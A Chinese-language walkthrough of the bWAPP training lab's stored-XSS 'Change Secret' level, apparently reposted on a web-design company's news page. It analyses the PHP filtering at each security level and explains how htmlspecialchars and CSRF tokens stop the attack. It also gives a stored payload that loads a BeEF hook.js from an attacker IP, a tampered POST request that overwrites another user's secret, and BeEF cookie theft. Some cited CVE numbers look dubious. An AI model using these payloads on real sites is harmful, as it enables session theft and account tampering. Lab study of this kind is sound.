ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

零基础玩转bWAPP靶场(五十六):XSS - Stored (Change Secret)

零基础玩转bWAPP靶场(五十六):XSS - Stored (Change Secret) 摘要这是 bWAPP 系列第五十六篇聚焦于XSS - Stored (Change Secret)。这一关是存储型 XSS 的另一个典型场景——用户修改自己的“秘密信息”secret输入的内容被存入数据库然后在某个页面显示出来。文章会分析存储型 XSS 的触发机制演示如何通过修改 secret 注入 BeEF Hook连接 BeEF 并获取 Cookie。附真实案例。一、找目标目标说明漏洞类型存储型 XSSStored XSS注入点修改 secret 的输入框存储位置数据库users表触发位置显示用户 secret 的页面如个人资料页、登录成功页额外漏洞水平越权可修改其他用户的 secret工具BeEF获取 Cookie二、前言这一关的存储型 XSS 有什么不同上一篇博客留言板是典型的存储型 XSS——用户提交的内容在留言列表中显示。这一关略有不同用户修改自己的secret这个secret会在其他页面如个人信息页被显示出来。当用户输入恶意脚本并保存后脚本被存入数据库。之后当用户或管理员查看包含该 secret 的页面时XSS 就会触发。也就是说注入点在这里触发点在别处。这更接近真实场景——攻击者可能把 XSS 注入到用户资料、个人签名、个人说明等“不显眼”的地方然后在其他页面上触发。三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Stored (Change Secret)提示Change your secret.一个输入框New secret一个 “Change” 按钮3.2 正常使用输入新的 secret点击 Change页面显示The secret has been changed!。3.3 存储型 XSS 的利用流程1. 攻击者在 secret 中输入恶意脚本2. 脚本存入数据库users 表中的 secret 字段3. 某个页面如个人信息页查询并显示 secret4. 恶意脚本在访问该页面的用户浏览器中执行四、源码分析4.1 核心逻辑——Low 级别// Low 级别直接从 POST 获取 login 和 secret if($_COOKIE[security_level] ! 1 $_COOKIE[security_level] ! 2) { if(isset($_REQUEST[login]) $_REQUEST[login]) { $login $_REQUEST[login]; $login mysqli_real_escape_string($link, $login); $secret mysqli_real_escape_string($link, $secret); $secret xss($secret); // 这里调用的是 no_check()完全不过滤 ​ $sql UPDATE users SET secret . $secret . WHERE login . $login . ; $recordset $link-query($sql); $message font color\green\The secret has been changed!/font; } }关键点Low 级别下xss()函数调用的是no_check()完全不过滤 XSS有一个隐藏的login字段攻击者可以修改它来更新任意用户的 secret水平越权mysqli_real_escape_string()只防 SQL 注入不防 XSS4.2 核心逻辑——Medium/High 级别else { // 验证 CSRF Token if(!isset($_REQUEST[token]) or !isset($_SESSION[token]) or $_REQUEST[token] ! $_SESSION[token]) { $message font color\red\Invalid token!/font; } else { $secret mysqli_real_escape_string($link, $secret); $secret htmlspecialchars($secret, ENT_QUOTES, UTF-8); // XSS 过滤 $sql UPDATE users SET secret . $secret . WHERE login . $login . ; $message font color\green\The secret has been changed!/font; } }Medium/High 级别的防护使用CSRF Token防止跨站请求伪造使用htmlspecialchars()对 secret 进行 HTML 实体编码防御 XSS4.3 额外的漏洞水平越权在 Low 级别中有一个隐藏字段input typehidden namelogin value?php echo $login;?攻击者可以修改这个字段的值更新其他用户的 secret。例如把login改成admin就可以修改管理员用户的 secret。五、存储型 XSS 的触发点这一关的 XSS 在哪里触发修改 secret 后页面本身只显示The secret has been changed!不会显示 secret 内容。但在 bWAPP 中SQL Injection (Login Form/User)中登录成功后会显示用户的 secret。所以触发路径是攻击者注入恶意脚本到自己的secret字段scriptalter(1)/script管理员或普通用户访问显示 secret 的页面如个人资料页恶意脚本执行或者攻击者利用水平越权漏洞直接修改管理员的 secret 为恶意脚本然后管理员访问显示 secret 的页面时触发 XSS六、Low 安全级别——注入 BeEF Hook6.1 准备 BeEFKali 中启动 BeEFsudo beef-xss-start确认 BeEF 的 IP 和端口默认3000Hook URL 为http://10.0.0.129:3000/hook.js6.2 注入 BeEF Hook在New secret输入框中输入script srchttp://10.0.0.129:3000/hook.js/script点击 Change。6.3 水平越权——修改其他用户的 secret在 Low 级别中还可以用 Burp Suite 拦截请求修改隐藏的login字段POST /bWAPP/xss_stored_2.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded ​ secretscript srchttp://10.0.0.129:3000/hook.js/scriptloginbeeactionchange这样就把bee用户的 secret 改成了恶意脚本。6.4 触发 XSS当管理员或用户访问显示 secret 的页面时如个人信息页、登录成功页恶意脚本被加载。6.5 BeEF 上线BeEF 控制面板中出现上线的浏览器。6.6 获取 Cookie选中上线的浏览器Commands→Browser→Get Cookie点击Execute七、Medium 安全级别7.1 尝试注入在New secret中输入scriptalert(1)/script源码逻辑详解从函数定义来看 程序封装的xss()切换函数中Medium 级别绑定的过滤函数是xss_check_4()底层为addslashes()addslashes()只会对 \ 空字符添加反斜杠转义不会过滤 、 尖括号理论上无法防御 XSS。但当前修改 Secret 页面的业务代码做了分支拆分 一旦安全等级为 Medium / High不会调用xss()切换函数取而代之固定执行两套处理$secret mysqli_real_escape_string($link, $secret); $secret htmlspecialchars($secret, ENT_QUOTES, UTF-8);第一步mysqli_real_escape_string()转义 SQL 特殊字符防御 SQL 注入第二步htmlspecialchars($secret, ENT_QUOTES, UTF-8)将 全部转为 HTML 实体最终入库数据lt;scriptgt;alert(1)lt;/scriptgt;页面加载时浏览器仅当做纯文本渲染JS 脚本无法执行存储型 XSS 被拦截。7.2 Medium 附加防护CSRF TokenMedium 级别开启 CSRF 令牌校验 服务端生成随机 Token 存入 Session修改密钥的 POST 请求必须携带正确 Token 才可提交。作用抵御 CSRF 跨站请求伪造攻击攻击者无法构造恶意链接诱导用户被动修改 secret局限若站点存在其他 XSS 漏洞可窃取页面内 Token绕过 CSRF 防护。八、High 安全级别8.1 尝试注入在New secret中输入scriptalert(1)/script防护逻辑封装的xss()函数中 High 绑定htmlspecialchars()但页面实际运行时Medium 与 High 共用同一套处理代码统一经过 SQL 转义 htmlspecialchars(ENT_QUOTES)实体编码转为lt;转为gt;引号、 符号一并转义。存储与渲染效果存入数据库内容lt;scriptgt;alert(1)lt;/scriptgt;浏览器不会解析 HTML 标签与 JavaScriptXSS 被彻底防御。Medium 与 High 本页面差异二者 XSS 防护逻辑、入库编码规则完全一致区别仅为安全等级配置区分均搭载 CSRF Token 防护。九、真实世界存储型 XSS 案例CVE-2024-1181某开源 CMS 的个人资料功能存在存储型 XSS 漏洞攻击者可通过修改个人签名注入恶意脚本影响所有访问该用户资料页的访客。CVE-2025-00847某 SaaS 平台的用户个人说明字段存在存储型 XSS攻击者可通过注入 XSS 窃取管理员 Session。CVE-2026-22947F5 BIG-IP 的配置工具中部分用户可编辑字段存在存储型 XSS。历史上最著名的案例2005 年的MySpace 蠕虫Samy Worm——Samy Kamkar 利用 MySpace 的用户资料页存储型 XSS 漏洞在 20 小时内感染了超过 100 万用户。十、总结存储型 XSS 和反射型 XSS 最大的区别在于持久性——存储型 XSS 的恶意代码永久保存在数据库中所有访问者都会受影响。这一关的注入点在修改 secret 的输入框触发点在显示 secret 的页面。Low 级别完全不过滤可以注入 BeEF Hook 并配合水平越权修改任意用户的 secretMedium 级别和 High 级别 XSS 防护逻辑、入库编码规则完全一致区别仅为安全等级配置区分均搭载 CSRF Token 防护。记住一句话所有用户输入在存入数据库并输出到页面之前都必须进行 HTML 实体编码。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。
返回列表